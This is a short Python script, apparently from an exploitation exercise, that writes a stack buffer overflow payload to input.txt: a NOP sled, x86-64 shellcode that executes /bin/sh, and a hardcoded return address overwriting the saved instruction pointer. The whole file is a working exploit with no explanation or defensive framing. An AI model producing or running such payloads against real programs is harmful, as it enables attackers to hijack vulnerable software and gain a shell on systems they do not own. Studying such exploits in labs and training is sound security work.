#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90' * 232
buffer += '\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe1c0)
f = open("input.txt", "w")
f.write(buffer)
